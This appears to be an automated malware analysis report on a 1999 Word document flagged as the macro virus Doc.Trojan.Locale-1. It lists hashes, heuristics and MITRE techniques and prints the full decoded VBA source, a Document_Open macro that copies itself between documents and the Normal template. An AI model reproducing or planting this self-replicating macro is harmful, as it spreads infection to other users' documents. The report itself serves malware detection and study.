Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f28a70098c17b9e2…

MALICIOUS

Office (OLE)

63.0 KB Created: 1999-08-23 10:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9a5662553219ca71bd99ce9098e3e365 SHA-1: f9cb2f2e4ef9afe3b7298d4b6fcae84fbf6dba5a SHA-256: f28a70098c17b9e2f097ca4e3563a75f9b613c86bea9f81ade85b4e4a9bb2370
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The Document_Open macro is designed to copy its own code into the NormalTemplate, which is a common technique for establishing persistence. The ClamAV detection 'Doc.Trojan.Locale-1' further confirms its malicious nature. The macro's intent is to ensure its execution upon subsequent document openings or Word application launches.

Heuristics 4

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1629 bytes
SHA-256: eac8d8121fd022df057f61a5db0a0c1e1fbbb2e3c24202a4539adc90e4d0c975
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set newDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
    
    With nextDocument.VBProject.VBComponents
        For I = 1 To .Count
            If .Item(I).Type = 100 Then
                With .Item(I).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub